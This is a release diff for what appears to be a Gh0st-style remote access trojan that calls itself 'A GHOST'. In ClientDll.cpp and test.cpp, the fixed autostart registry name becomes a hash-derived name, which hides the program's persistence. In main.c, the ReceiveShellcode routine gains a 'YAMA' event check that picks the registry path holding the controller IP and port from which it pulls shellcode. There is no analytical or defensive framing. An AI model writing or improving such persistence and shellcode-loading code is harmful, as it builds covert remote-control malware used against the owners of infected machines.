Release v1.2.0

client/ClientDll.cpp

@@ -10,7 +10,7 @@ extern "C" {
 }
 
 // 自动启动注册表中的值
-#define REG_NAME "a_ghost"
+#define REG_NAME GetExeHashStr().c_str()
 
 // 启动的客户端个数
 #define CLIENT_PARALLEL_NUM 1

client/Script.rc

@@ -88,7 +88,7 @@ IDR_WAVE                WAVE                    "Res\\msg.wav"
 //
 
 VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,1,9
+ FILEVERSION 1,0,2,0
  PRODUCTVERSION 1,0,0,1
  FILEFLAGSMASK 0x3fL
 #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
         BEGIN
             VALUE "CompanyName", "FUCK THE UNIVERSE"
             VALUE "FileDescription", "A GHOST"
-            VALUE "FileVersion", "1.0.1.9"
+            VALUE "FileVersion", "1.0.2.0"
             VALUE "InternalName", "ServerDll.dll"
             VALUE "LegalCopyright", "Copyright (C) 2019-2025"
             VALUE "OriginalFilename", "ServerDll.dll"

client/main.c

@@ -226,7 +226,15 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
 
     char addr[100] = { 0 }, hash[33] = { 0 };
     strcpy(addr, sIP);
-    const char* path = "Software\\ServerD11\\settings";
+    BOOL isAuthKernel = FALSE;
+	char eventName[64];
+	snprintf(eventName, sizeof(eventName), "YAMA_%d", GetCurrentProcessId());
+	HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName);
+    if (hEvent) {
+        CloseHandle(hEvent);
+        isAuthKernel = TRUE;
+    }
+    const char* path = isAuthKernel ? "Software\\YAMA\\auth" : "Software\\ServerD11\\settings";
     char* saved_ip = ReadRegistryString(path, "master");
     char* saved_port = ReadRegistryString(path, "port");
     char* valid_to = ReadRegistryString(path, "valid_to");

client/test.cpp

@@ -18,7 +18,7 @@ extern "C" {
 #pragma comment(lib, "ws2_32.lib")
 
 // 自动启动注册表中的值
-#define REG_NAME "ClientDemo"
+#define REG_NAME GetExeHashStr().c_str()
 
 typedef void (*StopRun)();